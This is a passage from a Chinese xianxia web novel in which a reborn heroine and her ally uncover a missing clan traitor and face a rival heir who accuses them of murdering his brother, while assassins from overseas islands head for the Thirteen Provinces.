“小夕。” 正发愣,有人来了她身后。 慕夕阙收回手,转身看去。 慕从晚不知何时到的,脸色苍白,身子瘦削,如今闻家主宅内皆是能信任之人,无人会向外传慕家大小姐出了琼筵山,以免鹤阶以此为由找慕家的麻烦。 慕夕阙皱眉:“东浔不如淞溪暖和,你怎么穿这般单薄?” 慕从晚唇色苍白,牵出笑:“我不冷的,都习惯了。” 慕夕阙红唇微抿,掩在袖内的手无意识蜷了蜷,慕从晚的身子早已垮掉,一个尚未长成的天才在襁褓中悄无声息陨落,这太过不公。 慕从晚看着慕夕阙,沉声道:“小夕,我得告知你一件事,我能感知到祭墟动荡愈发严重,如今十二辰认你为主,待七月中天罡篆择主,鹤阶必定会以此来要挟你和天罡篆神主去镇压祭墟,这其中总觉得哪里不对。” 一丁点的秽毒,天罡篆和十二辰单独便能镇压。 可若是关押了所有秽毒的祭墟,掏空一个神器的神力都无法完全镇压,必定要天脉地脉同时借力,上下一同镇压。 慕夕阙笑了笑,握住慕从晚的手,淡声说道:“我知道的。” 慕从晚反而不担心了,神色平静:“你有对策。” “嗯,你放心。”慕夕阙从乾坤袋中取出披风,为慕从晚裹上,垂眸耐心系上衣带。 “该杀的人,我一个都不会放过。” 慕从晚的手里被她塞了个暖手灵珠,她看着慕夕阙,并未多问,沉声应道:“你有对策我便放心了。” 慕夕阙拍拍她的肩膀,笑盈盈说:“外头风大,回屋吧。” “好。”慕从晚颔首。 朝蕴担忧她的身子,本就不允许她无令外出,因此她也只能在朝蕴没注意的时候出来一会儿,拢了拢披风,转身离开。 慕夕阙看着她离开的背影,身子孱弱瘦削,风吹就能倒一般,如果慕从晚没出事,慕家上辈子兴许也不会落得个那种境地。 待慕从晚的背影消失在视线中,慕夕阙转身走进拱门。 闻家议事堂外是一片空旷的院落,此刻竖着摆放十余具尸身,闻惊遥和庄漪禾并肩站在最前头。 慕夕阙低头看去,目光在一个个熟悉的脸上略过,看到最前头的闻时烨,那是死得最早的一人。 粗略数了数,有十九人,有些被烧成了焦炭,看都看不出来是谁,唯有腰间佩戴的玉符还能辨别身份。 皆是闻家管事的长老。 见她来了,庄漪禾看过来:“小夕。” 闻惊遥沉声道:“夕阙,你来了。” 慕夕阙走过去,看着面前十几具尸身,问道:“有异样?” 庄漪禾道:“是,方才弟子们去清理尸身了,带上闻时烨,总共十二个叛贼伏诛,三位闻家长老在祟种刚出现后便战死,四位长老重伤后也无力回天,重伤身亡,如今闻家主宅还有三位长老。” 慕夕阙点点头:“我知道,有问题吗?” 闻惊遥看着她,说道:“闻家管事总共有二十五人,除去我爹娘外还剩二十三人,如今十二人伏诛,三位长老战死,四位长老伤重亡故,三位长老活着,加在一起是二十二人。” 还差一人。 慕夕阙拧眉:“少了一个?你们确定不是战死,尸身未找回来?” “确定,我用家主玉牌可以感知所有闻家玉符,他的玉符扔在东南街,我也询问了许多弟子,从祟种出现到如今,都未见过这位长老,他并未去作战,也并未回内城。” 不去作战,也不回内城守城,还扔了长老玉符避开追踪,只能是叛贼。 慕夕阙眉心紧蹙,她对闻淮用了搜魂,只看到了十二人,便只当闻家叛贼只有十二个。 不止如此吗? “少了谁?” “闻沉。” 慕夕阙仔细想了下,都没反应过来闻沉是谁,闻家那些长老她应当都见过,却总觉得这个对不上脸。 闻惊遥解释道:“在议事堂里总坐在闻远鸿身旁的那位长老,白发白须,身子不好。” 慕夕阙陡然反应过来,那个几乎从未发言说话的长老,因着身子不好,闻沉似乎并不常来议事堂,只有勒令所有长老都必须出现才会赶来。 跑了一个叛贼,庄漪禾和闻惊遥脸色瞧着都不太好。 慕夕阙在闻淮的记忆里看了不少碎片,却根本没有闻沉的半分异样,要么是时间仓促她恰好略过了,要么是闻沉在所有闻家叛贼眼里都未倒戈,以至于闻淮他们都不知晓鹤阶还收拢了一人。 可为何闻沉如此特殊,鹤阶还要单独收拢,防着闻淮这些早已倒戈的人? 这才是闻惊遥和庄漪禾最忧心的事,不知闻沉特殊在哪里,鹤阶都另类相待。 院内气压低沉,庄漪禾忽然沉声道:“先不管他,目前要紧的事是修葺外三城,百姓们不能没有地方住。” 闻惊遥颔首:“是。” 他看了眼慕夕阙,她会意,和他一同转身离开。 出了议事堂,两人并肩而行,闻惊遥走的方向是主宅外,慕夕阙便也跟着。 出了主宅,他们沉默,一路走向外三城。 如今天已亮,慕夕阙看到了这满目疮痍的外三城。 青鸾聚集闻家死去弟子的魂力挥出了必杀的招式,青火撞碎了那十五只化神境的祟种,也同样摧毁了外三城,到处都是破瓦颓垣,残骸遍野。 一路上见到不少赶回来的闻家弟子正在有条有序清理碎瓦,搬运尸身。 有些跟着回来的内城百姓也尽己所能帮忙收拾,尽早修葺外城,让外三城的百姓们能回家。 这让慕夕阙想起了慕家的灭门,也是这样,高阁倒塌,青瓦破碎,遍地焦灰,她分不清这是骨灰还是燃烧后的碳灰,她也无法收敛尸身,只能无力竖了块石碑。 纵使慕夕阙恨闻惊遥,也从未想过报复闻家,她只杀有罪的人,可百姓无辜,弟子无辜。 “夕阙,二十只祟种毁了整个外三城,十只祟种用了青鸾的十根羽,闻家经此一难,疮痍十年内都难愈。”闻惊遥声音沉闷,一路走,一路看。 他站在正北城门,看弟子们取下被烧了大半的匾额。 “东浔主城”四个大字似乎都要瞧不清了。 闻惊遥站在那里,回头去看这座破败的城池。 “你说,真正灭世的是祟种,还是人?” 慕夕阙沉默不语。 万年前的灾厄带来了祟种,可十三州齐心协力战胜了天灾,历任神器之主以折寿为代价镇压祭墟,而如今的灾难瞧着是祟种带来的,可他们都知晓,真正在背后操盘的,是人心。 是贪欲嗔念,是杀戮之心,是人。 “放屁!” 他们沉默之际,斜对面的巷道里,有人厉声骂道。 慕夕阙和闻惊遥看过去,倒塌的高阁曾经是个酒肆,一个身着麻衣的男子正挽着袖子干活,一旁手持水镜的少女神色愤懑。 男子边弯腰将碎瓦搬开,边厉声骂道:“他们就会传些瞎话,闻家主哪里是不开城门让救援进来,你我在城内看得清清楚楚,分明是鹤阶妄图覆灭东浔主城!” 少女也附和骂道:“狗东西,家主至死都在守卫这座城,定是鹤阶传的,惯会造谣诋毁!” 他们情绪高昂,似乎也并未发现身后的人堆里有自家少主和慕二小姐。 闻惊遥垂眸,他不常用水镜,也不知晓十三州都在传些什么话,但想来也能猜出,闻承禺死守城门不肯放鹤阶和那些所谓的“援兵”进来,传至其余城池,众口铄金,难证清白。 鹤阶在十三州这些世家眼里,或许还有几分蛮横。 可在那些千千万的百姓眼中,鹤阶弟子纵使有横征暴敛的事情,却也未传开,大多数百姓还是信任鹤阶的,信他们除祟的名声,信他们手中的天罡篆。 慕夕阙忽然道:“闻惊遥,清白做给自己看,我知晓闻家主的用心,你也知晓,东浔百姓也知,那就够了。” 闻惊遥抬眸看向她,慕夕阙面色沉静,仍冷着脸。 少年喉结滚了滚,末了应道:“我知晓的,夕阙。” 他侧眸看向东浔主城,看着那些倒塌的房舍,背后是无家可归的百姓,弟子们疲累了几日却仍不得休息,竭力早些收拾好外三城,带回所有送出城的百姓们。 闻惊遥握紧手中的剑,沉声道:“万年前的除祟有功让他们坐稳了高位,却未有半分怜悯之心,挟权倚势,背公循私,徒造杀孽,不法之徒便理应伏诛,又岂能让他们再坐于那等高位。” 慕夕阙看着他,看他挺拔的脊背,清俊的眼底再不似往日的淡漠,而是有团幽火般,他在此刻,似乎褪去了所有的少年气,真正能顶起东浔。 就如她前世那般,所有的傲气都在慕家出事后被打碎。 世事迫人成长,总要以失去为代价- 海域宽阔,浓云高悬,一波又一波的浪推来退去,在海面掀出了朵朵浪花。 身着紫衣的女子站在海边,身后是连绵不绝的一座座岛屿。 过了会儿,将要日暮之际,一艘灵舟从天际飘来,悬停在海滩之上。 船舱内走出一个身着灰衫的老者,一顶宽檐草帽遮住半张脸,他站在船头,垂眸看着沙滩上的人。 老者淡声说:“去十三州,一人三万金。” 紫衣女子笑着说道:“可否便宜一些?” 老者声音平淡:“一金不少。” “啧。”紫衣女子嗔怒了下,却并未再开口还价,而是老老实实用灵力托举了个乾坤袋投掷过去。 老者打开,用灵力清点一番,确定没少一金,转身抬手一挥,从灵舟上放下一截木梯。 紫衣女子身后有个模样年轻的少女,闻言问:“疏棠姐,他这分明漫天要价,为何要给这钱?绑了他咱们掌舵不就行了,我会开灵舟。” 越疏棠屈起指节,狠狠敲了下她的脑门,淡声道:“从海外仙岛去十三州要经过祭墟,灵舟都是他们特制的,只有他们这一脉能开,上头的符篆可以保咱们不被秽毒侵蚀。” 迟笙捂着额头,倒抽了口凉气,嘟嘟囔囔说:“那我又不知道。” 越疏棠白了她一眼,率先登上灵舟:“走。” 两人上了灵舟,待进入船舱,迟笙从乾坤袋中取出茶水,如今这船还未开,应是在等其余要去十三州的人。 迟笙看向窗外的海域,呢喃道:“我还是第一次出岛呢,不知道十三州是什么样子。” 越疏棠嗤了一声,翘着二郎腿靠在木椅里,端起茶轻抿了口,望向窗外浩瀚的海域,这片海养育了整个海外仙岛,他们依海而生,靠海存活,死后也会归于海底。 迟笙又来劲了,问道:“不过咱们瞒着阁主偷偷去十三州,他知道了不会生气吗?” 越疏棠眉梢微扬:“他生气了又能怎么样,杀了你,杀了我?” 这一副理不直气也壮的模样看得迟笙啧啧称奇,点点头:“也是,阁主脾气好,他养大咱们的,怎么舍得?” 迟笙取了块糕点,嘎嘣嘎嘣咬着,含含糊糊问道:“不过阿姐,你为何要去十三州啊?” 越疏棠看着窗外的海,脸色寡淡,淡声道:“昨日影杀出动了百人去往十三州,阁主从不涉及十三州的事情,我总觉得不对劲。” 迟笙皱眉,一脸不解:“可能十三州的人开价高,毕竟咱们阁主贪财啊。” 越疏棠并未说话。 日头即将落山,在海面投射出一道霞红,粼粼波光像是一颗颗碎星,海外仙岛的水永远都是这般蓝,形状各异的海兽在海里翻涌跳跃,一艘艘渔船从远处归航。 渔船会在落日前返航,白日这片海是属于渔民的,高悬的太阳会为他们指引方向,带来鱼群。 而到夜晚,这片海便归那些海渊里的巨兽。 越疏棠沉声道:“几十年前影杀也去了十三州,那一次我的父亲也跟着一起去了,但他没有回来。” 迟笙嘴里的糕点嘎嘣便掉了,她愣愣抬眸,张了张唇,看着落日余光照在越疏棠的脸上,容貌明明仍旧艳丽明媚,可每次提及越父的事情,迟笙总觉得,越疏棠好似被孤寂笼罩。 过了好一会儿,迟笙试图活跃气氛:“害,那咱们也去呗,反正你最近休息不出任务,我也是,咱就说咱们去别的岛玩了嘛。” 当落日彻底沉下,圆月高悬之际,灵舟也满载启航,漂浮在虚空。 越疏棠垂眸看去,远处幽深的海中,有庞然巨兽苏醒,正在畅游捕猎。 这艘灵舟飘过海外仙岛的万尺海域,越过红光镇压的祭墟,一路去往十三州- 慕夕阙和闻惊遥并未在外待多久,便被庄漪禾叫了回去。 两人上午才出了议事堂的大门,下午便又进去了,院里的尸身被清理干净,而议事堂的大厅内,却摞着另一具尸身。 还坐了十几人。 慕夕阙看清庄漪禾左下方坐的人后,眉心微蹙。 燕如珩神色不太好,眼底乌青,略有疲惫之态,连往日那身总是整洁的白衣都显得狼狈了些,他抬眸看过来,对慕夕阙颔首:“小夕,你回来了。” 慕夕阙没回他,而是垂眸看向大厅中心摆放的尸身。 弟子上前揭开黑布,露出一具被烧焦的尸身,脖颈上一道致命伤痕切骨而过,而那具尸身的手中,却攥着枚青玉玉符,镌刻有“闻”字。 这人的腰间还悬了块白玉玉符,上用金漆雕刻出“燕”字。 闻惊遥低声道:“燕青来。” 慕夕阙倏然抬眸看向燕如珩。 燕如珩薄唇微抿,面有悲色,却并未失态恸哭,而是仍旧冷静,说道:“那日你重伤了青来,他伤势未愈,我们便并未先行离开东浔主城,暂住了一段时日,又碰到主城出事,我担忧你便想去寻你,托弟子护送青来随着闻家弟子奔逃。” 慕夕阙面无表情听他说话。 燕如珩顿了顿,看着燕青来的尸身,说道:“可弟子们都死了,青来也死了,今日闻家弟子清理尸身发现了他们的尸骸,燕家的十三位弟子和我阿弟的尸身,有慕家剑法和闻家剑法的痕迹。” 慕夕阙忽然* 笑了一声。 燕如珩淡淡看着她。 慕夕阙牵出笑,点了点头,说道:“你的意思是,燕小公子和你们燕家弟子都是由我慕家和闻家弟子所杀?” “小夕,我并不想去怀疑你们。”燕如珩只道。 慕夕阙安安静静看着他。 上辈子燕青来可没死这么早,他死于赤敛燕家遭祟种夜袭的那日,也是慕夕阙死前的一月,被祟种所杀。 慕夕阙知晓燕如珩心狠,心机深沉,却未曾想到,他能狠到这地步,为达己利可以谋害长兄,毒杀继母,囚禁生父,甚至如今连从小就信任他的幼弟都能牺牲。 她重生以来栽的第一个坑,竟然是燕如珩这里。 朝蕴也匆匆从议事堂外走来,眉目冷淡,跟庄漪禾点了点头便坐于另一侧,她的身后站了蔺九尘和姜榆。 燕家来了十几个人,如今整个议事堂都满了。 燕如珩看着慕夕阙和闻惊遥,看他们并肩而立,他似乎笑了下,但那笑意又不明显,快到让人捉摸不住。 “我阿弟自小娇惯性子冲动,这些年来没少在背后谗言朝家主,你心中有气正常,那日和闻少主对我阿弟施刑也并未有错,合情合理,只是小夕,我阿弟罪不至死。” 慕夕阙面无表情看着他。 她那日在莲衣阁揍燕青来,是存心揍的,关于慕家的丑诋太多了,要想制止,必要杀鸡儆猴,当众施刑,传出去后那些背后嘴人谗言慕家的人才会收敛些。 燕青来都在她面前跳脚辱骂朝蕴了,她又怎可能忍? 要打燕家的脸,还要光明正大堂堂正正地打。 且燕青来并不无辜,一个被娇惯了的孩子,十岁便敢仗着家族的庇佑在外横行肆虐,手中无辜者性命不少。 上辈子燕家随鹤阶一同进攻慕家之时,他也没少出力,在慕家大开杀戒,慕夕阙自是要揍他,不仅要揍,日后重创燕家时还要杀。 但没想到她为保慕家名声的所作所为反而被燕如珩摆了一道,想必那日他能冷静看弟弟受刑,便已经想好了要怎么反将她一军。 她看着燕如珩,拳头握紧,仿佛又看到了上辈子那个看似光风霁月,实际肮脏丑恶的小人是如何利用她的信任,将她逼到绝境的模样。 在她敲通天鼓后,无世家愿援助她,于是慕夕阙只能给年少挚友们传了信,请他们相助。 赶到后,却只等来了季观澜带着鹤阶的人围杀她。 是她的哪个挚友背叛了她呢? 是燕如珩。 第48章 第 48 章 影杀 “小夕, 我父亲十三年前痛失长子,哀思过度闭门不出,如今又失去幼子, 怆痛加重,现已卧病在榻。”燕如珩看着她, 看她仍旧冷静, 与同样冷静的闻惊遥站在一处,两人毫不畏惧与他对视。 燕如珩搭在扶手上的手无声攥紧,沉声道:“我也只是来要个解释。” 慕夕阙点点头, 看也不看他,扯住闻惊遥的衣袖将他拽去了朝蕴身边,两人在燕如珩对侧坐下, 与燕家隔了条不窄不宽的过道。 燕如珩唇角的笑意早已散去, 淡淡看着对面并肩而坐的慕夕阙和闻惊遥, 多么郎才女貌, 般配极了不是吗? 坐于家主主座的庄漪禾开口:“所以燕少主想我慕、闻两家如何给你说法?” 燕如珩看了眼厅内已被盖上白布的尸身:“只是想请两家还我阿弟和燕家弟子一个公道。” 庄漪禾冷然道:“此事两家自会彻查。” 燕如珩别过头看着她, 他正身直坐,分外坦荡:“如何彻查呢,期限为多久, 以及若查出幕后真凶真是两家弟子,庄夫人和朝家主是否会秉持公道, 大义灭亲呢?” 他看似明事理, 实际咄咄逼人,仅剩的几个闻家长老皆都皱了眉, 站在朝蕴身后的姜榆更是一脸气愤,若非蔺九尘拦着,怕是想上去吵架了。 而庄漪禾和朝蕴淡然看着他, 分毫不慌。 朝蕴道:“后续如何处理,还需得真相水落石出后,纵使燕小公子身上的伤有慕、闻两家的功法,也并不能说明便是我两家弟子所杀。” “慕家流星刃,闻家竹影斩,这等两家内门秘法,旁人也会?”燕如珩笑了下,“还是说两家这般慷慨,什么功法都能传授给外人?” 姜榆柳眉横竖,扬声开口:“燕少主别这么阴阳怪气,或许就有这般天才,看一眼便能学会别的家族的秘法,不用传授也能借此杀人呢,如今证据不足还是少泼脏水为好。” 燕如珩弯眸道歉:“抱歉,姜姑娘,是我失言。” 他的视线一转,又看向慕夕阙和闻惊遥,两人方才便沉默,如今慕夕阙在盯着燕青来露出的一截烧焦的手腕看,而闻惊遥则毫不避讳与他直视。 燕如珩眸光微敛,问道:“依闻少主看,应当如何处理?” “那就彻查,若幕后真凶是两家弟子,我和夕阙自清理门户,若不是,那么罪应何论,也自当按十三州律规处置。”闻惊遥并未犹豫,淡声回答。 庄漪禾和朝蕴都朝他看去,两人皱眉,并不懂为何闻惊遥要依着燕如珩的意图处理,燕家既然敢这般做,那必定是能陷害到两家弟子,如今他们甚至都不知晓燕家的计划。 他如此坦率,燕如珩眸子半眯,随后颔首:“好,看来闻少主挺明事理。” 燕如珩看向慕夕阙,从他们方才交谈开始,慕夕阙便没再开口,甚至没看过燕如珩一眼,只盯着燕青来的尸身看,那具烧焦了的尸身已被白布盖住,她却隔着那层布好似能瞧出什么一般。 燕如珩眉心微蹙,起身拱手:“还请庄夫人和朝家主体谅,在我阿弟的事情未了之前,燕家不会离开东浔主城,我们已在内城寻了客栈,待此事了结便立刻离开。” 在东浔刚出事,闻家重创,如今正是重整之际,又岂能让旁的世家进驻东浔? 可燕家有理由,合情合理,若拒绝,传出去便定会说闻家心虚。 庄漪禾与燕如珩对视,忽然莞尔一笑:“那是自然,燕少主请便。” 燕如珩便行礼退下:“既是如此,那晚辈便先行离开了。” 他走的时候,慕夕阙倒是抬眸看他的。 她对他笑了一下,似是礼貌告别,落在燕如珩眼里,却像是看穿了他的内心般,燕如珩也并未有异样,反而对慕夕阙仍像是过去那般,温和颔首,转身离开。 燕家的人带着燕青来的尸身离开,议事堂内安静了片刻。 随后慕夕阙问:“燕青来和燕家弟子的尸身是在何处发现的?” “外三城南街,一栋客栈的顶楼。”庄漪禾回道。 慕夕阙点点头,接着开口:“燕青来出事的时候,我与闻少主应当与他擦肩而过。” 庄漪禾和朝蕴,整个议事堂尚留的人倏然看去。 闻惊遥颔首:“我与夕阙去外城引诱鹤阶放出所有祟种追杀我们之际,在即将奔回内城前路过一栋高阁,里面有人。” 是慕夕阙先觉察出的有人在里头,她对血气格外敏感,闻到了隐约的血腥味,闻惊遥犹豫着是否要去救人,最后还是理智占了上头,他们并未去救。 慕夕阙说道:“在我们奔回内城的必经之路出现了人,若我和闻惊遥有片刻心软真的扭头去救人,十几只祟种定会撕了我们,可我们并未去救,于是幕后观局的人再次出手,在我和闻惊遥即将奔入结界玉灵之际,他射出了那一箭。” “那一箭,险些让闻惊遥丧命。”慕夕阙抬眸看向庄漪禾。 庄漪禾咬紧牙关:“是燕如珩吗?他性子素来温和,在十三州名声也不错,缘何做这等谋戮亲弟的恶毒之事?” “燕如珩的性子并非你以为的那般敦厚。”开口的是朝蕴,她正身肃坐,眉目冷淡,话是对庄漪禾说的,看向的却是慕夕阙。 “燕如珩幼时与小夕关系不错,那时闻家不提婚事,鹤阶也并未再逼迫慕家,我当一切都太平了,便也不想小夕遵循她父亲的遗愿去联姻,她既与燕如珩关系好,十三州都传他们未来会走到一起,我便也随着,她喜欢谁都可以。” 这话让庄漪禾也噎了下,先前闻家确实没提过这桩幼时定下的婚事,且闻惊遥与慕夕阙见面不多,一年只三次,而赤敛燕家与淞溪慕家近,燕如珩倒是时常去慕家。 “直到小夕十二岁那年,我查出些燕家的事。”朝蕴冷声道,“燕家主后娶的夫人,也就是燕青来的母亲,是被燕如珩毒杀的,那时燕如珩才十五岁。” 一个少年郎,却敢毒杀对他不错的继母。 “燕家家主也并非因长子死去,哀思过度才闭门不出,似乎是被关在了燕家不得出,此后燕家实权半数都落在了燕如珩手中,另外半数由燕家那些长老把持。” 朝蕴这么一说,庄漪禾把持闻家事务这些年,什么弯弯绕绕勾心斗角没见过,自然也能想出更多的。 庄漪禾坐直,厉声道:“或许燕家长子的死也与他脱不了干系?” 朝蕴颔首:“嗯,小小年纪心思便能这般歹毒,如此心狠手辣之人,城府极深,唯利是图,我又怎会再让小夕与他接触,自是将这桩婚事提出,寻了个理由和燕家断交。” 庄漪禾自言自语道:“怪不得呢,那时你忽然宣告这桩婚事,闻家也猝不及防,我夫君倒是也借机公布了这桩婚约,从那以后,慕家与燕家断交,十三州这些年传的流言蜚语也不少。” 大多都是看热闹的,三个大家族的少主扯在一起,慕二小姐瞧着谁都不喜欢,燕少主和闻少主瞧着倒是喜欢极了,没人不想听这桩八卦。 如今也并非去管燕家私事的时机,庄漪禾看着朝蕴:“燕如珩想杀惊遥,兴许是为了慕二小姐,或者为了阻止惊遥去夺天罡篆,可他谋戮亲弟来陷害两家,我尚不知缘由,难不成只是为了败坏咱们两家的名声?” 朝蕴也摇摇头:“不知,但他不简单,还是提防为好。” 两位家主在那边你来我往地猜测。 姜榆悄悄从朝蕴身后悄然挪走,蔺九尘一个没拉住,她就已经挪到慕夕阙身后,探出脑袋道:“师姐?” 慕夕阙正想着事,猝不及防被她吓了一跳,回头瞪了她一眼:“你走路再没声音,我就把你辫子上的哑铃换成真铃铛,让你走一路响一路。” 闻惊遥笑了下,声音很轻,但慕夕阙还是听到了,又瞪着他。 闻少主收起笑,温温柔柔看着她。 姜榆看他们这一个愿打一个愿挨的模样,瘪瘪嘴:“闻少主想笑就笑嘛,再憋出内伤了,还有师姐,你脾气好点——好好好,不说了,谈正事谈正事。” 见慕夕阙斜她一眼,姜榆立马咽下未说完的话,双手一摆认输。 慕夕阙别过头,依旧正身坐着,却并未再驱赶姜榆。 姜榆弯腰,在她左边探出脑袋小声问:“要不我今晚溜去燕家的客栈看看,我最近新学了个符篆,可以掩盖气息。” 慕夕阙面无表情:“不行。” 姜榆反驳道:“你别担心,虽然我是个金丹,但这阵术可以瞒过元婴呢,燕少主如今不就是元婴嘛。” 慕夕阙笑了声,微微侧首看着左肩旁的姜榆:“谁告诉你他是元婴的?” 姜榆皱眉:“他不是吗,燕少主天资很好呀,十六岁就元婴了,听说快破中境了。” 慕夕阙眼神冷淡:“谁告诉你他只有元婴初境的?” 姜榆愣了下,反应过来,一脸惊骇:“不可能吧,他才二十岁啊,你和闻少主都已是逆天根骨加之刻苦修行才拼来的,他也没多刻苦修行,天资更是不如你们啊!” 慕夕阙没再说话,她收回目光看着青砖上反衬出来的烛火,眸底渐渐森寒。 燕如珩修为并不弱,可笑吧,连慕夕阙上辈子都被他骗过去了,真当这位是个不争不抢,也不爱修行的闲散少主。 他射出的那一箭,以及上辈子他妄图囚住她时的修为,又怎会是简单的元婴初境? 此人不仅修为不低,心机更是深沉,怕是在场的他们所有人加起来,都抵不过一个燕如珩的城府。 慕夕阙上辈子在他手里栽了不少次,没想到重生后还能栽在他手中- 燕如珩回到客栈,屏退所有弟子,推门而入。 屋内站着一人,白发白须,身子挺拔,纵使年纪大了,但闻家人个个都不耸肩曲背,仪态颇好。 “不知道闻家正在找你吗,还敢待在东浔主城?” 燕如珩淡淡看了他一眼,在八仙桌旁坐下,自顾自倒了杯茶。 闻沉走过来,夺过燕如珩刚添的茶,像是没看到他晦暗的目光般,毫不在乎地品茶,感慨道:“还得是东浔的茶叶好喝,鹤阶的茶苦得要命,没有一丝甘甜。” 一盏茶还能喝出甜味了,燕如珩嗤了一声,双手环胸靠坐在木椅中,冷眼瞧他。 闻沉喝完茶,放下茶盏,笑着说道:“听闻燕少主和主子做了个交易,在下想了想,兴许便是燕小公子的事吧。” 不等燕如珩说话,他自顾自接话:“也是,慕家的流星刃主子倒是会,闻家的竹影斩我会,我说呢,主子忽然差我去补几刀,我到的时候,燕小公子可已经被捆起来了,我和主子一人一刀砍杀了他们。” 说到这里,闻沉忽然顿住,隔着一张桌子看着燕如珩,一字一句问道:“只是不知,燕少主答应主子什么条件了?” 燕如珩冷声道:“不如你告诉我他到底是何身份,会这么多东西,我再告诉你我和他做了什么交易?” “主子的身份这世间无人知晓。”闻沉笑了笑,又倒了杯茶,“总之他很强,他可以给你想要的一切,包括慕二小姐。” 燕如珩并没什么表情,看闻沉饮完凉茶。 闻沉站起身,负手而立,垂眸看向仍坐着的燕如珩:“影杀已经来了十三州,因为十二辰出世,天罡篆越发压不住了,认主应会提前,你若想夺天罡篆,便需得杀掉闻惊遥,影杀会助你一臂之力。” 燕如珩面无表情:“我倒是也很好奇,若想杀掉闻惊遥,你那主子自己一人能屠一城吧,他为何不动手去杀?” 他顿了下,又道:“对,他动手了,人被救了。” 燕如珩仰头,与负手而立的闻沉对视。 “他也想杀小夕,为何那日没动手,纵使小夕手握十二辰也不是他的对手,完全可以将她和闻惊遥一并铲除,偏生要借你们的手去杀人。” 闻沉看着他,这等小小年纪便能轻易谋害长兄,夺得少主之位,将自己摘得干干净净的人,纵使如今还年轻,也不容小觑。 燕如珩并不笨,甚至相反,他十分聪慧,控局之力远胜燕家所有人,这少主他也确实当得比他那个长兄合适。 闻沉冷脸道:“燕少主还是先想办法接应影杀吧,主子的事你少问,他有能力杀闻少主和慕二小姐,自然也有能力杀你。” 他绕过燕如珩走出去,而桌上留了一枚玉符,上用金漆雕刻了一只云鹤。 多少人觊觎的鹤阶长老玉符,手持玉符便是等同于入了鹤阶掌权,不仅对自家门派大有裨益,日后自己贪权谋利也更容易些。 这是那个人托闻沉交给他的玉符。 燕如珩笑了一声,声尽嘲讽,他随手拾起扔进乾坤袋里。 轩窗从进来便开着,应是闻沉打开的。 如今东浔内城尚保存完好,从窗内看去,还能瞧见已成废墟的外三城,也能看见处于内城中心的闻家主宅。 他做这些事想要的只是权力吗? 他要权,要名,要利,也要她。 燕如珩并不否认自己的贪心,人就活这一世,自是想要什么便不择手段去夺过来。 慕夕阙和闻惊遥追求的东西在他看来可笑极了,为了身后的人可以将自己弄出一身伤,险些将命丢了。 活得舒舒坦坦不行吗,偏要去硬碰硬,闯这条天荆地棘、一不留神便会粉身碎骨的大道。 天地乾坤早已定下,又岂是他们这些人能撼动的?- 慕夕阙从议事堂出来时天已快亮,闻惊遥和她并肩。 他沉声道:“夕阙,你休息吧,这些事我来处理。” 慕夕阙转身看他:“你那般轻易应下燕如珩的话,是能猜到杀害燕青来的人是谁?” “嗯。”闻惊遥颔首,“闻沉,闻家长老,他会闻家秘法竹影斩。” 他看着慕夕阙,唇抿了抿,说道:“夕阙,可杀害他们的人还会慕家秘法,我记得要修习流星刃需得到金丹境,且这是慕家传承千年的秘法,只有内门弟子能修习。” 金丹境,内门弟子,修习过流星刃。 其实挺好查的,不超过三十人。 慕夕阙脸色冷淡。 闻惊遥问道:“若他在你们慕家也安插了叛贼——” “闻惊遥,慕家确实有他们的眼线,我阿娘三年前便知晓了,这三年我师兄暗中查了不少人,确认没有到内门这一地步。”慕夕阙打断他,慕家的内贼她前世并不知晓,大多被朝蕴派出除邪,而蔺九尘和一些慕家长老暗中除掉他们。 慕夕阙看着闻惊遥说道:“我慕家经商为主,门生并不兴旺,且长老也不多,都是我爹的亲信,鹤阶尚未渗透到慕家上层,能让我阿娘传授流星刃的弟子更是少之又少,绝对信得过。” 闻惊遥沉默,长睫半垂,说道:“夕阙,能在祟种攻城的那段时间留在东浔主城的人,除了本就在城内的人,便只剩下那个黑衣人了。” 修为高到甚至可以穿过玉灵,连青鸾都没觉察出他。 那段时间在城内的慕家弟子只有慕夕阙,其余的人全都随朝蕴回了淞溪。 “那人身份太过诡异。”闻惊遥皱眉,“我想了如今十三州和海外仙岛的所有大能,近五百年来都未有能对得上的人,你可有想法?” 能让闻少主也头大的人,着实不一般。 慕夕阙上辈子追着查了百年,愣是没查到什么有用的东西,只知道他修为高,年纪不大,心狠歹毒,不仅鹤阶,许多世家也要听他的话。 她转身朝外走,边走边说:“我不知,总之走一步看一步,燕如珩如今在城内,应不会老实。” 闻惊遥默了瞬,跟上她的步伐,他看着她的侧脸,她的眉宇间有隐约的憎恶,但闻惊遥能看出不是对他,似乎是燕如珩。 她好似与燕如珩闹了矛盾,从上次在莲衣阁碰面之时,闻惊遥便能觉察出她对燕如珩若有若无的厌恶。 “夕阙——” 闻惊遥的话还未说完,慕夕阙停下来,看着对面的人。 他看过去,那是个白发的年轻男子,好似有毒在身,从来到东浔后脸色便不好。 徐无咎被从淞溪带来,他是任风煦的义子,自是要跟着来查祟种一事。 但闻家一直怀疑他与闻时烨的事兴许脱不了干系,如今杀害闻时烨的凶手尚未找到。 可徐无咎自己对闻家人说,他是被师盈虚的暗桩从鹤阶手里救下的,鹤阶因着任风煦的事情要对他灭口,无论庄漪禾是否相信,徐无咎和师盈虚一唱一和,愣是与闻时烨摘得干干净净,也自是没供出来慕夕阙。 看起来似乎也骗过闻惊遥了,徐无咎说自己是师盈虚救的,闻少主也并未说什么。 如今慕夕阙看着路尽头的徐无咎,他似乎在等她。 慕夕阙淡声说:“闻惊遥,你先走吧,徐公子看起来有话要与我说。” 闻惊遥的喉口滚了滚,末了应道:“好。” 他转身离开,慕夕阙朝徐无咎走去。 这里无人,主宅如今也没几个人,便显得空了许多。 徐无咎笑了声:“看来闻少主也挺好骗的,那日我与蔺公子险些被害,是你出手相救吧,闻少主没怀疑你?” 慕夕阙转身,看着闻惊遥快要消失的背影,少年腰背笔直,身形高挑。 她冷声道:“我也在想,他怎么最近蠢了许多?” 闻惊遥不是这般愚笨的人,当初只凭一点痕迹便能猜到闻时烨的死和任风煦出事、徐无咎消失在东浔主城脱不了关系,如今徐无咎就在他眼前,他却反而被师盈虚的三言两语骗了过去。 虽说师大小姐见人说人话,见鬼说鬼话的胡扯手段着实厉害,没少忽悠她爹娘,连慕夕阙都唬过不少次,庄漪禾相信她,闻家人相信她,闻惊遥可不是这般容易轻信的人。 但偏偏闻惊遥就是信了,他什么都没说。 徐无咎眉梢微扬,问道:“慕二小姐确定闻公子没怀疑你的身份?” 闻惊遥已经消失在她的视线中,慕夕阙淡然收回目光。 “你不了解他,他不是会徇私的人,若知晓我手上这么多条人命,还伤过他几次,不会与我藏着掖着,亲密无间的。” 